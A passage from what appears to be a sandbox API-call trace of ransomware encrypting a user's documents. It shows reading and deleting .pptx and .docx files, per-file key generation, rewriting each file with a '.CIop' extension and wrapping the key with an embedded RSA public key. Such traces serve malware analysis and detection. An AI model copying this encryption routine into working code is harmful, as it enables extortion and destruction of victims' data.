MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.606] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x31ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598 | out: pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598) returned 1 [0089.606] CryptAcquireContextW (in: phProv=0x31ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31ad5a8*=0x615298) returned 1 [0089.607] CryptImportPublicKeyInfoEx (in: hCryptProv=0x615298, dwCertEncodingType=0x1, pInfo=0x5e8498, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x31ad5b0 | out: phKey=0x31ad5b0*=0x5d6548) returned 1 [0089.607] CryptEncrypt (in: hKey=0x5d6548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x31ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x31ad5b4*=0x80) returned 1 [0089.607] CryptEncrypt (in: hKey=0x5d6548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614cc0*, pdwDataLen=0x31ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614cc0*, pdwDataLen=0x31ad5a4*=0x80) returned 1 [0089.607] WriteFile (in: hFile=0x3d0, lpBuffer=0x614cc0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x614cc0*, lpNumberOfBytesWritten=0x31ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.607] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.609] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.609] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.609] CloseHandle (hObject=0x3d0) returned 1 [0089.611] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\nP0r3x5d.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\np0r3x5d.ods")) returned 0 Thread: id = 51 os_tid = 0xfc0 [0089.639] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.639] lstrcpyW (in: lpString1=0x2f0f368, lpString2="o1_fy8.pptx" | out: lpString1="o1_fy8.pptx") returned="o1_fy8.pptx" [0089.639] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.639] SetErrorMode (uMode=0x1) returned 0x1 [0089.639] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\o1_fy8.pptx") returned 47 [0089.639] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\o1_fy8.pptx", dwFileAttributes=0x20) returned 1 [0089.640] StrStrW (lpFirst="o1_fy8.pptx", lpSrch=".CIop") returned 0x0 [0089.640] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\o1_fy8.pptx.CIop") returned 52 [0089.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\o1_fy8.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\o1_fy8.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0 [0089.640] ReadFile (in: hFile=0x3e0, lpBuffer=0x610910, nNumberOfBytesToRead=0x27d4, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x610910*, lpNumberOfBytesRead=0x2f0e5e8*=0x27d4, lpOverlapped=0x0) returned 1 [0089.641] CloseHandle (hObject=0x3e0) returned 1 [0089.641] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\o1_fy8.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\o1_fy8.pptx")) returned 1 [0089.642] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.642] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.642] SetErrorMode (uMode=0x1) returned 0x1 [0089.642] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614908) returned 1 [0089.644] CryptGenKey (in: hProv=0x614908, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d63c8) returned 1 [0089.699] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.699] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.699] CryptDestroyKey (hKey=0x5d63c8) returned 1 [0089.699] CryptReleaseContext (hProv=0x614908, dwFlags=0x0) returned 1 [0089.699] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\o1_fy8.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\o1_fy8.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0 [0089.699] WriteFile (in: hFile=0x3e0, lpBuffer=0x610910*, nNumberOfBytesToWrite=0x27d4, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x610910*, lpNumberOfBytesWritten=0x2f0e5d8*=0x27d4, lpOverlapped=0x0) returned 1 [0089.700] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27d4 [0089.700] WriteFile (in: hFile=0x3e0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.700] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27db [0089.700] SetErrorMode (uMode=0x1) returned 0x1 [0089.700] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.700] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.700] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.700] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x614908) returned 1 [0089.701] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614908, dwCertEncodingType=0x1, pInfo=0x5e87d8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d63c8) returned 1 [0089.701] CryptEncrypt (in: hKey=0x5d63c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.701] CryptEncrypt (in: hKey=0x5d63c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614990*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614990*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.701] WriteFile (in: hFile=0x3e0, lpBuffer=0x614990*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614990*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.701] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.701] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.701] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.701] CloseHandle (hObject=0x3e0) returned 1 [0089.702] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\o1_fy8.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\o1_fy8.pptx")) returned 0 Thread: id = 52 os_tid = 0xfc4 [0089.735] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.735] lstrcpyW (in: lpString1=0x2f0f368, lpString2="obHPe.pptx" | out: lpString1="obHPe.pptx") returned="obHPe.pptx" [0089.735] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.735] SetErrorMode (uMode=0x1) returned 0x1 [0089.735] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\obHPe.pptx") returned 46 [0089.735] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\obHPe.pptx", dwFileAttributes=0x20) returned 1 [0089.735] StrStrW (lpFirst="obHPe.pptx", lpSrch=".CIop") returned 0x0 [0089.735] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\obHPe.pptx.CIop") returned 51 [0089.735] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\obHPe.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\obhpe.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4 [0089.735] ReadFile (in: hFile=0x3d4, lpBuffer=0x6165c8, nNumberOfBytesToRead=0x2e59, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesRead=0x2f0e5e8*=0x2e59, lpOverlapped=0x0) returned 1 [0089.736] CloseHandle (hObject=0x3d4) returned 1 [0089.736] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\obHPe.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\obhpe.pptx")) returned 1 [0089.737] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.737] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.737] SetErrorMode (uMode=0x1) returned 0x1 [0089.737] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614a18) returned 1 [0089.740] CryptGenKey (in: hProv=0x614a18, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6408) returned 1 [0089.751] CryptExportKey (in: hKey=0x5d6408, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.751] CryptExportKey (in: hKey=0x5d6408, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.751] CryptDestroyKey (hKey=0x5d6408) returned 1 [0089.751] CryptReleaseContext (hProv=0x614a18, dwFlags=0x0) returned 1 [0089.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\obHPe.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\obhpe.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4 [0089.752] WriteFile (in: hFile=0x3d4, lpBuffer=0x6165c8*, nNumberOfBytesToWrite=0x2e59, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x2e59, lpOverlapped=0x0) returned 1 [0089.752] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e59 [0089.752] WriteFile (in: hFile=0x3d4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.753] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e60 [0089.753] SetErrorMode (uMode=0x1) returned 0x1 [0089.753] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.753] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.753] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.753] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x614c38) returned 1 [0089.753] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614c38, dwCertEncodingType=0x1, pInfo=0x5e83c8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d5dc8) returned 1 [0089.753] CryptEncrypt (in: hKey=0x5d5dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.753] CryptEncrypt (in: hKey=0x5d5dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614d48*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614d48*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.753] WriteFile (in: hFile=0x3d4, lpBuffer=0x614d48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614d48*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.753] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.753] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.754] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.754] CloseHandle (hObject=0x3d4) returned 1 [0089.754] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\obHPe.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\obhpe.pptx")) returned 0 Thread: id = 53 os_tid = 0xfc8 [0089.764] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.764] lstrcpyW (in: lpString1=0x2f0f368, lpString2="SATDQcfMYoPlh.docx" | out: lpString1="SATDQcfMYoPlh.docx") returned="SATDQcfMYoPlh.docx" [0089.764] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.764] SetErrorMode (uMode=0x1) returned 0x1 [0089.764] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\SATDQcfMYoPlh.docx") returned 54 [0089.764] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\SATDQcfMYoPlh.docx", dwFileAttributes=0x20) returned 1 [0089.765] StrStrW (lpFirst="SATDQcfMYoPlh.docx", lpSrch=".CIop") returned 0x0 [0089.765] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\SATDQcfMYoPlh.docx.CIop") returned 59 [0089.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\SATDQcfMYoPlh.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\satdqcfmyoplh.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0089.765] ReadFile (in: hFile=0x3cc, lpBuffer=0x6165c8, nNumberOfBytesToRead=0x3db4, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesRead=0x2f0e5e8*=0x3db4, lpOverlapped=0x0) returned 1 [0089.766] CloseHandle (hObject=0x3cc) returned 1 [0089.766] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\SATDQcfMYoPlh.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\satdqcfmyoplh.docx")) returned 1 [0089.767] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.767] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.767] SetErrorMode (uMode=0x1) returned 0x1 [0089.767] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614a18) returned 1 [0089.769] CryptGenKey (in: hProv=0x614a18, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6408) returned 1 [0089.789] CryptExportKey (in: hKey=0x5d6408, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.789] CryptExportKey (in: hKey=0x5d6408, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.789] CryptDestroyKey (hKey=0x5d6408) returned 1 [0089.789] CryptReleaseContext (hProv=0x614a18, dwFlags=0x0) returned 1 [0089.789] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\SATDQcfMYoPlh.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\satdqcfmyoplh.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4 [0089.789] WriteFile (in: hFile=0x3e4, lpBuffer=0x6165c8*, nNumberOfBytesToWrite=0x3db4, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x3db4, lpOverlapped=0x0) returned 1 [0089.790] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3db4 [0089.790] WriteFile (in: hFile=0x3e4, lpBuffer=0x414c2c*, 